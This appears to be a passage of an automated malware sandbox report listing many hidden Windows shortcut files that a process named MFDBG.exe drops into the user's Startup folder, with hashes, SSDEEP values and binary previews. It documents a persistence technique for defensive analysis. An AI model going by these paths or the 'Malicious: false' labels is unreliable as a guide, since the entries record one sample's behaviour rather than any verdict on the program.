File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922226352906395
Encrypted:	false
SSDEEP:	24:86kTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81sEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AC524DE277287C9DF27C269016C250DF
SHA1:	CFE1451DA3BB848F6314BEE7EEE18DCC3E24E7B6
SHA-256:	411EDF45F535E36C863302CBA6B1574497857EA0E31C7F354A5AC4CEB64350C7
SHA-512:	1A97B564C75B41F5FC98BD35689D59C6A43EF9FDBC3F544B40E22FEAF49FC35963509B8A57E1496CA531412CC9F802164B355409D3FDDAE8736FB80DBBEAC730
Malicious:	false
Preview:	L..................F....".......d...d}.<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95292569d4bd4025ac94913371a85398.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920220618259678
Encrypted:	false
SSDEEP:	24:8YBfW8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	544B3929C536867093FB00A00A0866CB
SHA1:	DF976645AAC9298F550DD07F46537A0C04C3DEAA
SHA-256:	CE9D2FC0F37A4D297AA75475D38D9F0AEE85D6B14C0AE6DF981A0FBBC59C7052
SHA-512:	FCB956A884B05FD64F2505CF430909B07104B8485B6EC10FC8F26D68BCC0E8CF02D5299E0AF769748494272327AC5D900E1D579C30D26F0C617FBF60255A3828
Malicious:	false
Preview:	L..................F....".......d...X<.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...)..\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9555a527a5f84de4962f7e1f290c2414.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92431587108428
Encrypted:	false
SSDEEP:	24:8JqBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JocEvZ0yRO7DLO2zdxdRd1kyg
MD5:	13768D841767F74A923D1F29995581FC
SHA1:	D273F5515080C6E91B247D5D65118BFA844649CA
SHA-256:	7042D83B0810902CF9AF3C368BB56FA632D1ACBAAA2CE4370B35C6E57C7D9102
SHA-512:	C0E921CC8E68325732052C09ADDDC58CCDA0E63402D2D20EED6A4C8681DDE6F2E9F28BE2E01A46396EAF5F8C5F5332F35D8DD4723D6F03EC3FA739B326BED219
Malicious:	false
Preview:	L..................F....".......d...W..[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_95b30bf7402c482a92a643eb4e70182a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91448448512152
Encrypted:	false
SSDEEP:	24:8CBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	77A916D8240C7504B71F7D2BB9606535
SHA1:	B6EB504E11FCB23ECDB694D952662D31F70A3928
SHA-256:	53CD7E130EF4F583845095BDBEDB0AB8512D4E12C0409AE615398DCB766CF3DF
SHA-512:	1DFBC4F13A3FB412F74163F8D04B8DE2032F8C366B01782D3CAC695A878665BFC39438CBBE74CC8909887BB3B72235CC8F546A057ABA83934E7339D207C3F612
Malicious:	false
Preview:	L..................F....".......d...Mf.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_967a47b279bd416880382004a8d59470.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923073660040919
Encrypted:	false
SSDEEP:	24:8EBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	6902A2FF5DCAA43BF78958A5CAF1E0D5
SHA1:	FBBB6B5B165C76158A116CF42E7AC5CCCD35F42F
SHA-256:	C40A936AEC1A2D3A886BD26AFF8F84A6329BC90C4D36397351BA67E2B6FC442A
SHA-512:	B944CF73633014D775C133B05E967EC8CED40D43A58C70E6D4838BCC26570686407342AE9DD1FEFECBE937F60F686B67A56763ADF7CC6C7E167A04C9FA63FEBE
Malicious:	false
Preview:	L..................F....".......d.....H~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....H~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96d3c847ef604774a8f61c635565cf2e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928496548074769
Encrypted:	false
SSDEEP:	24:8tBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8f4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0285E50CBEE1309F3A32FC7910C8394
SHA1:	9C22114E4C25683C900AB4D47B0CC576DCCBA57B
SHA-256:	A649C4957B2CA788E87DFE0B46AAB1EC67E7DCBB5EFAB8F01BF999165C890382
SHA-512:	92BA4C92BB6C2DAFD29A91CB996DFE6DB68BE0FDECD5E796F01F3F46E3A822D20FF0623FF36964F2E61381B127019EB4F66820DDE197C1B590312836E6EDC98E
Malicious:	false
Preview:	L..................F....".......d...a..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_96f1135cc3e9458bac1a7b890b34d5dc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92270136976185
Encrypted:	false
SSDEEP:	24:8JBfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8z7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	1DB11684CB568C0F72390D9667D40AAB
SHA1:	FFA91D1184D49F006DC02B970F654B7D9BC21052
SHA-256:	17190E60A306F100679F48004E7E64A269E618FBD323297659CAD4524A331C3C
SHA-512:	B79D1EF6440B868F1AB29BD5E3512E4A6B67A61263B48939A4F552B630E7575CB7A6FBCE34E8206F32C73AFC35D15737C1473F3E41C166BB5D7CADC5358FF68E
Malicious:	false
Preview:	L..................F....".......d...s..Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97233f108f41478796595a3cacd5a432.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919821969695952
Encrypted:	false
SSDEEP:	24:8B3Bf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BRZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D055E33F2C6BC71F6DE361DA14C264CF
SHA1:	154083B8D539E58DCBB15A07CF6F919F37472E8C
SHA-256:	4CE76E515628266A369ECA04D79F531D76CD84E0FA646DF0F9DD585080621146
SHA-512:	7A7FD2158F181F671E7FE04E5D444AA014B4072815F951EB751093DB706BC619FF0D756E2386F7A917351ED9F57EF6F3BD029C62438D9B7D0A077AD8A269C151
Malicious:	false
Preview:	L..................F....".......d...R...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97396e88791749a4924c24a9ff67cc1e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:52 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922138365708061
Encrypted:	false
SSDEEP:	24:8oaTBfP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8BsEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F2DCFD031B2F893A2B060EB2D16EE8DA
SHA1:	2AF16E22239A2EE3014272180C6385192C5AEA16
SHA-256:	73D082EBF6EFB777481936FDA1A99EB7F5850E3033B03AE5B341270BB114543F
SHA-512:	7C00B282F7DB39BD00312B76D1943D61486136FB037ADCFAC577529463FA66395F9F47C02EE1B6EED40E33D927FC6AC9E833B4F29F006F6D9FC4AC7CE7392C8A
Malicious:	false
Preview:	L..................F....".......d....~.<d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....z<d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_974bd81b2de344a2bd11d71846e3e074.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927987713374184
Encrypted:	false
SSDEEP:	24:8MBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ChEvZ0yRO7DLO2zdxdRd1kyg
MD5:	80FE153D4F1E7C94E40E7753091EDA1A
SHA1:	F228F664C73ACFF49A9954EBED0AD1256B94DE9A
SHA-256:	46391EA7CF46AC15A4E7370955F4CEBA4C27F90D0E6C203C159C61638411FFC9
SHA-512:	65F295ACCD359BEC31C761159B186E5A22D5F9141F52A549CD2AAA1B2B4753417409B53270CAED2716E371EC6FB45FF290C574FFBA1609732F428F22A553E902
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_97500f3796e04a4cbef023a2c0e77c37.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9188128701038165
Encrypted:	false
SSDEEP:	24:8ABfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OJEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2825E62BDFCAD562E146E656B0DF34D0
SHA1:	66FB85980E05F1FF8B9D5100F3187BBAD8999F51
SHA-256:	3F4A95A47F43CBB3D009CAA0AA93729FB297CCF907DA8F309EA03A3BC9A3E191
SHA-512:	D4041CA2C47F53C54B6E85AFABD4B3D429FB442FF55E6FC8687AE24B005957CA927902624E11E6172BFA70F1F0879133175F95E12D464BDF3D21A130BB0EB982
Malicious:	false
Preview:	L..................F....".......d...4X._d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4X._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_975786e402bc47b8a3225283f27f244e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927731771475105
Encrypted:	false
SSDEEP:	24:88QBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8x4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B4F97EBD8F3CBE898337401F02C9C720
SHA1:	4FC1602279F3AFC31354CCA69A38892CA509E39F
SHA-256:	AC9F902CA04CC4990E256682DA439D1ABD3E4B18568BD8D99BBB9D76EE84A61C
SHA-512:	53CAE4C6085CC88A86C9B1621D305B3364E19D075F3173B5281FF0769D4B1B88575FBD5BBCF5C6BCA4519FF20087C261C1581F74691FBB9A2EA483AA5E97C36A
Malicious:	false
Preview:	L..................F....".......d...A..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9780b187326e4bd8b2d8d1104aa89316.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.91606725639344
Encrypted:	false
SSDEEP:	24:89Bf78EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E6E60985F137C0DA90B959E926E34273
SHA1:	2DA4B6B9853983878A1C1A07CFCB403CE88E1E08
SHA-256:	5A9EC9C0416288E0B7EAB4C0145D8F48EF4644F3AA2B040FBC2ED63A37AE38AF
SHA-512:	CEACA7FFDBCA622976C39DE2E51231137675CE99B83D2658AB59E1C1B94B3DBD7ED4C0A8435E10E3A9E927FD79C737BAE4266287320C514CF3E4DCCBD933B43D
Malicious:	false
Preview:	L..................F....".......d...QYp.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...QYp.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_978804222c774ac2a11833f815415e93.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
